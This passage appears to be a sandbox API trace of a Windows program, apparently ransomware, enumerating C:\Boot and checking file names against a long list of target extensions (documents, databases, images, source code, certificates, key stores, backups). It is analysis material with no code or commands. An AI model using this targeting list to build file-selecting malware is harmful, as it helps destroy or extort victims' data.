	[0167.674] lstrlenW (lpString=".mde") returned 4
	[0167.674] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1
	[0167.674] lstrlenW (lpString=".mdf") returned 4
	[0167.674] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1
	[0167.674] lstrlenW (lpString=".mdw") returned 4
	[0167.674] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1
	[0167.674] lstrlenW (lpString=".mef") returned 4
	[0167.674] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1
	[0167.674] lstrlenW (lpString=".mft") returned 4
	[0167.674] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1
	[0167.675] lstrlenW (lpString=".mfw") returned 4
	[0167.675] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1
	[0167.675] lstrlenW (lpString=".mht") returned 4
	[0167.675] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1
	[0167.675] lstrlenW (lpString=".mhtml") returned 6
	[0167.675] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1
	[0167.675] lstrlenW (lpString=".mka") returned 4
	[0167.675] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1
	[0167.675] lstrlenW (lpString=".mkidx") returned 6
	[0167.675] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1
	[0167.675] lstrlenW (lpString=".mkv") returned 4
	[0167.675] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1
	[0167.675] lstrlenW (lpString=".mos") returned 4
	[0167.675] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1
	[0167.675] lstrlenW (lpString=".mov") returned 4
	[0167.675] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1
	[0167.675] lstrlenW (lpString=".mp3") returned 4
	[0167.675] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1
	[0167.675] lstrlenW (lpString=".mp4") returned 4
	[0167.675] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1
	[0167.675] lstrlenW (lpString=".mpeg") returned 5
	[0167.675] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1
	[0167.675] lstrlenW (lpString=".mpg") returned 4
	[0167.675] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1
	[0167.675] lstrlenW (lpString=".mpv") returned 4
	[0167.675] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1
	[0167.675] lstrlenW (lpString=".mrw") returned 4
	[0167.675] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1
	[0167.675] lstrlenW (lpString=".msg") returned 4
	[0167.675] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1
	[0167.676] lstrlenW (lpString=".mxl") returned 4
	[0167.676] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1
	[0167.676] lstrlenW (lpString=".myd") returned 4
	[0167.676] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1
	[0167.676] lstrlenW (lpString=".myi") returned 4
	[0167.676] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1
	[0167.676] lstrlenW (lpString=".nef") returned 4
	[0167.676] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1
	[0167.676] lstrlenW (lpString=".nrw") returned 4
	[0167.676] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1
	[0167.676] lstrlenW (lpString=".obj") returned 4
	[0167.676] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1
	[0167.676] lstrlenW (lpString=".odb") returned 4
	[0167.676] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1
	[0167.676] lstrlenW (lpString=".odc") returned 4
	[0167.676] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1
	[0167.676] lstrlenW (lpString=".odm") returned 4
	[0167.676] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1
	[0167.676] lstrlenW (lpString=".odp") returned 4
	[0167.676] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1
	[0167.676] lstrlenW (lpString=".ods") returned 4
	[0167.676] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1
	[0167.676] lstrlenW (lpString=".oft") returned 4
	[0167.677] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1
	[0167.677] lstrlenW (lpString=".one") returned 4
	[0167.677] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1
	[0167.677] lstrlenW (lpString=".onepkg") returned 7
	[0167.677] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1
	[0167.677] lstrlenW (lpString=".onetoc2") returned 8
	[0167.677] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1
	[0167.677] lstrlenW (lpString=".opt") returned 4
	[0167.677] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1
	[0167.677] lstrlenW (lpString=".oqy") returned 4
	[0167.677] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1
	[0167.677] lstrlenW (lpString=".orf") returned 4
	[0167.677] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1
	[0167.677] lstrlenW (lpString=".p12") returned 4
	[0167.677] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1
	[0167.677] lstrlenW (lpString=".p7b") returned 4
	[0167.677] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1
	[0167.677] lstrlenW (lpString=".p7c") returned 4
	[0167.677] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1
	[0167.677] lstrlenW (lpString=".pam") returned 4
	[0167.677] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1
	[0167.677] lstrlenW (lpString=".pbm") returned 4
	[0167.677] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1
	[0167.677] lstrlenW (lpString=".pct") returned 4
	[0167.678] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1
	[0167.678] lstrlenW (lpString=".pcx") returned 4
	[0167.678] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1
	[0167.678] lstrlenW (lpString=".pdd") returned 4
	[0167.678] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1
	[0167.678] lstrlenW (lpString=".pdf") returned 4
	[0167.678] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0167.678] lstrlenW (lpString=".pdp") returned 4
	[0167.678] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1
	[0167.678] lstrlenW (lpString=".pef") returned 4
	[0167.678] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1
	[0167.678] lstrlenW (lpString=".pem") returned 4
	[0167.678] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1
	[0167.678] lstrlenW (lpString=".pff") returned 4
	[0167.678] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1
	[0167.678] lstrlenW (lpString=".pfm") returned 4
	[0167.678] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1
	[0167.678] lstrlenW (lpString=".pfx") returned 4
	[0167.678] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1
	[0167.678] lstrlenW (lpString=".pgm") returned 4
	[0167.678] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1
	[0167.678] lstrlenW (lpString=".php") returned 4
	[0167.678] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1
	[0167.678] lstrlenW (lpString=".php3") returned 5
	[0167.678] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1
	[0167.678] lstrlenW (lpString=".php4") returned 5
	[0167.678] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1
	[0167.678] lstrlenW (lpString=".php5") returned 5
	[0167.678] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1
	[0167.678] lstrlenW (lpString=".phtml") returned 6
	[0167.678] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1
	[0167.679] lstrlenW (lpString=".pict") returned 5
	[0167.679] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1
	[0167.679] lstrlenW (lpString=".pl") returned 3
	[0167.679] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1
	[0167.679] lstrlenW (lpString=".pls") returned 4
	[0167.679] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1
	[0167.679] lstrlenW (lpString=".pm") returned 3
	[0167.679] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1
	[0167.679] lstrlenW (lpString=".png") returned 4
	[0167.679] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1
	[0167.679] lstrlenW (lpString=".pnm") returned 4
	[0167.679] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1
	[0167.679] lstrlenW (lpString=".pot") returned 4
	[0167.679] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1
	[0167.679] lstrlenW (lpString=".potm") returned 5
	[0167.679] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1
	[0167.679] lstrlenW (lpString=".potx") returned 5
	[0167.679] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1
	[0167.679] lstrlenW (lpString=".ppa") returned 4
	[0167.679] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1
	[0167.680] lstrlenW (lpString=".ppam") returned 5
	[0167.680] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1
	[0167.680] lstrlenW (lpString=".ppm") returned 4
	[0167.680] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1
	[0167.680] lstrlenW (lpString=".pps") returned 4
	[0167.680] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1
	[0167.680] lstrlenW (lpString=".ppsm") returned 5
	[0167.680] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1
	[0167.680] lstrlenW (lpString=".ppt") returned 4
	[0167.680] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0167.680] lstrlenW (lpString=".pptm") returned 5
	[0167.680] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1
	[0167.680] lstrlenW (lpString=".pptx") returned 5
	[0167.681] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1
	[0167.681] lstrlenW (lpString=".prn") returned 4
	[0167.681] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1
	[0167.681] lstrlenW (lpString=".ps") returned 3
	[0167.681] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1
	[0167.681] lstrlenW (lpString=".psb") returned 4
	[0167.681] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1
	[0167.681] lstrlenW (lpString=".psd") returned 4
	[0167.681] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1
	[0167.681] lstrlenW (lpString=".pst") returned 4
	[0167.681] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1
	[0167.681] lstrlenW (lpString=".ptx") returned 4
	[0167.681] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1
	[0167.681] lstrlenW (lpString=".pub") returned 4
	[0167.681] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1
	[0167.681] lstrlenW (lpString=".pwm") returned 4
	[0167.681] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1
	[0167.681] lstrlenW (lpString=".pxr") returned 4
	[0167.681] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1
	[0167.681] lstrlenW (lpString=".py") returned 3
	[0167.681] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1
	[0167.681] lstrlenW (lpString=".qt") returned 3
	[0167.681] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1
	[0167.681] lstrlenW (lpString=".r3d") returned 4
	[0167.681] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1
	[0167.681] lstrlenW (lpString=".raf") returned 4
	[0167.681] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1
	[0167.681] lstrlenW (lpString=".rar") returned 4
	[0167.681] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0167.682] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0167.682] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0167.682] FindClose (in: hFindFile=0x6aba58 | out: hFindFile=0x6aba58) returned 1
	[0167.682] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4434fd8 | out: hHeap=0x610000) returned 1
	[0167.682] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hr-HR", cAlternateFileName="")) returned 1
	[0167.682] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4434fd8
	[0167.682] lstrlenW (lpString="C:\\Boot\\hr-HR") returned 13
	[0167.682] FindFirstFileW (in: lpFileName="C:\\Boot\\hr-HR\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aba58
	[0167.682] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.682] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0167.682] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0167.682] lstrlenW (lpString=".1cd") returned 4
	[0167.682] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0167.682] lstrlenW (lpString=".3ds") returned 4
	[0167.682] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1
	[0167.682] lstrlenW (lpString=".3fr") returned 4
	[0167.683] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1
	[0167.683] lstrlenW (lpString=".3g2") returned 4
	[0167.683] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1
	[0167.683] lstrlenW (lpString=".3gp") returned 4
	[0167.683] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1
	[0167.683] lstrlenW (lpString=".7z") returned 3
	[0167.683] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0167.683] lstrlenW (lpString=".accda") returned 6
	[0167.683] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1
	[0167.683] lstrlenW (lpString=".accdb") returned 6
	[0167.683] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1
	[0167.683] lstrlenW (lpString=".accdc") returned 6
	[0167.683] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1
	[0167.683] lstrlenW (lpString=".accde") returned 6
	[0167.683] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1
	[0167.683] lstrlenW (lpString=".accdt") returned 6
	[0167.683] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1
	[0167.683] lstrlenW (lpString=".accdw") returned 6
	[0167.683] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1
	[0167.683] lstrlenW (lpString=".adb") returned 4
	[0167.683] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1
	[0167.683] lstrlenW (lpString=".adp") returned 4
	[0167.683] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1
	[0167.683] lstrlenW (lpString=".ai") returned 3
	[0167.683] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1
	[0167.683] lstrlenW (lpString=".ai3") returned 4
	[0167.683] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1
	[0167.683] lstrlenW (lpString=".ai4") returned 4
	[0167.683] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1
	[0167.683] lstrlenW (lpString=".ai5") returned 4
	[0167.683] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1
	[0167.683] lstrlenW (lpString=".ai6") returned 4
	[0167.683] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1
	[0167.684] lstrlenW (lpString=".ai7") returned 4
	[0167.684] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1
	[0167.684] lstrlenW (lpString=".ai8") returned 4
	[0167.684] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1
	[0167.684] lstrlenW (lpString=".anim") returned 5
	[0167.684] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1
	[0167.684] lstrlenW (lpString=".arw") returned 4
	[0167.684] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1
	[0167.684] lstrlenW (lpString=".as") returned 3
	[0167.684] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1
	[0167.684] lstrlenW (lpString=".asa") returned 4
	[0167.684] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1
	[0167.684] lstrlenW (lpString=".asc") returned 4
	[0167.684] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1
	[0167.684] lstrlenW (lpString=".ascx") returned 5
	[0167.684] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1
	[0167.684] lstrlenW (lpString=".asm") returned 4
	[0167.684] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1
	[0167.684] lstrlenW (lpString=".asmx") returned 5
	[0167.684] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1
	[0167.684] lstrlenW (lpString=".asp") returned 4
	[0167.684] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1
	[0167.684] lstrlenW (lpString=".aspx") returned 5
	[0167.684] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1
	[0167.684] lstrlenW (lpString=".asr") returned 4
	[0167.684] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1
	[0167.684] lstrlenW (lpString=".asx") returned 4
	[0167.684] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1
	[0167.684] lstrlenW (lpString=".avi") returned 4
	[0167.684] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1
	[0167.684] lstrlenW (lpString=".avs") returned 4
	[0167.684] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1
	[0167.684] lstrlenW (lpString=".backup") returned 7
	[0167.685] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1
	[0167.685] lstrlenW (lpString=".bak") returned 4
	[0167.685] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1
	[0167.685] lstrlenW (lpString=".bay") returned 4
	[0167.685] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1
	[0167.685] lstrlenW (lpString=".bd") returned 3
	[0167.685] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1
	[0167.685] lstrlenW (lpString=".bin") returned 4
	[0167.685] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1
	[0167.685] lstrlenW (lpString=".bmp") returned 4
	[0167.685] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1
	[0167.685] lstrlenW (lpString=".bz2") returned 4
	[0167.685] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0167.685] lstrlenW (lpString=".c") returned 2
	[0167.685] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1
	[0167.685] lstrlenW (lpString=".cdr") returned 4
	[0167.685] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1
	[0167.685] lstrlenW (lpString=".cer") returned 4
	[0167.685] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1
	[0167.685] lstrlenW (lpString=".cf") returned 3
	[0167.685] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1
	[0167.685] lstrlenW (lpString=".cfc") returned 4
	[0167.685] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1
	[0167.685] lstrlenW (lpString=".cfm") returned 4
	[0167.685] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1
	[0167.685] lstrlenW (lpString=".cfml") returned 5
	[0167.685] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1
	[0167.685] lstrlenW (lpString=".cfu") returned 4
	[0167.685] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1
	[0167.685] lstrlenW (lpString=".chm") returned 4
	[0167.685] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1
	[0167.685] lstrlenW (lpString=".cin") returned 4
	[0167.686] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1
	[0167.686] lstrlenW (lpString=".class") returned 6
	[0167.686] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1
	[0167.686] lstrlenW (lpString=".clx") returned 4
	[0167.686] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1
	[0167.686] lstrlenW (lpString=".config") returned 7
	[0167.686] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1
	[0167.686] lstrlenW (lpString=".cpp") returned 4
	[0167.686] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1
	[0167.686] lstrlenW (lpString=".cr2") returned 4
	[0167.686] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1
	[0167.686] lstrlenW (lpString=".crt") returned 4
	[0167.686] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1
	[0167.686] lstrlenW (lpString=".crw") returned 4
	[0167.686] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1
	[0167.686] lstrlenW (lpString=".cs") returned 3
	[0167.686] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1
	[0167.686] lstrlenW (lpString=".css") returned 4
	[0167.686] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1
	[0167.686] lstrlenW (lpString=".csv") returned 4
	[0167.686] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1
	[0167.686] lstrlenW (lpString=".cub") returned 4
	[0167.686] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1
	[0167.686] lstrlenW (lpString=".dae") returned 4
	[0167.686] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1
	[0167.686] lstrlenW (lpString=".dat") returned 4
	[0167.686] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1
	[0167.686] lstrlenW (lpString=".db") returned 3
	[0167.686] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1
	[0167.686] lstrlenW (lpString=".dbf") returned 4
	[0167.686] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0167.686] lstrlenW (lpString=".dbx") returned 4
	[0167.687] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1
	[0167.687] lstrlenW (lpString=".dc3") returned 4
	[0167.687] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1
	[0167.687] lstrlenW (lpString=".dcm") returned 4
	[0167.687] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1
	[0167.687] lstrlenW (lpString=".dcr") returned 4
	[0167.687] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1
	[0167.687] lstrlenW (lpString=".der") returned 4
	[0167.687] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1
	[0167.687] lstrlenW (lpString=".dib") returned 4
	[0167.687] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1
	[0167.687] lstrlenW (lpString=".dic") returned 4
	[0167.687] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1
	[0167.687] lstrlenW (lpString=".dif") returned 4
	[0167.687] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1
	[0167.687] lstrlenW (lpString=".divx") returned 5
	[0167.687] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1
	[0167.687] lstrlenW (lpString=".djvu") returned 5
	[0167.687] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1
	[0167.687] lstrlenW (lpString=".dng") returned 4
	[0167.687] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1
	[0167.687] lstrlenW (lpString=".doc") returned 4
	[0167.687] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0167.687] lstrlenW (lpString=".docm") returned 5
	[0167.687] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1
	[0167.687] lstrlenW (lpString=".docx") returned 5
	[0167.687] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0167.687] lstrlenW (lpString=".dot") returned 4
	[0167.687] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1
	[0167.687] lstrlenW (lpString=".dotm") returned 5
	[0167.687] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1
	[0167.687] lstrlenW (lpString=".dotx") returned 5
	[0167.687] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1
	[0167.688] lstrlenW (lpString=".dpx") returned 4
	[0167.688] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1
	[0167.688] lstrlenW (lpString=".dqy") returned 4
	[0167.688] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1
	[0167.688] lstrlenW (lpString=".dsn") returned 4
	[0167.688] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1
	[0167.688] lstrlenW (lpString=".dt") returned 3
	[0167.688] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1
	[0167.688] lstrlenW (lpString=".dtd") returned 4
	[0167.688] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1
	[0167.688] lstrlenW (lpString=".dwg") returned 4
	[0167.688] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1
	[0167.688] lstrlenW (lpString=".dwt") returned 4
	[0167.688] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1
	[0167.688] lstrlenW (lpString=".dx") returned 3
	[0167.688] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1
	[0167.688] lstrlenW (lpString=".dxf") returned 4
	[0167.688] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1
	[0167.688] lstrlenW (lpString=".edml") returned 5
	[0167.688] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1
	[0167.688] lstrlenW (lpString=".efd") returned 4
	[0167.688] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1
	[0167.688] lstrlenW (lpString=".elf") returned 4
	[0167.688] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1
	[0167.688] lstrlenW (lpString=".emf") returned 4
	[0167.688] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1
	[0167.688] lstrlenW (lpString=".emz") returned 4
	[0167.688] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1
	[0167.688] lstrlenW (lpString=".epf") returned 4
	[0167.688] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1
	[0167.688] lstrlenW (lpString=".eps") returned 4
	[0167.688] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1
	[0167.689] lstrlenW (lpString=".epsf") returned 5
	[0167.689] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1
	[0167.689] lstrlenW (lpString=".epsp") returned 5
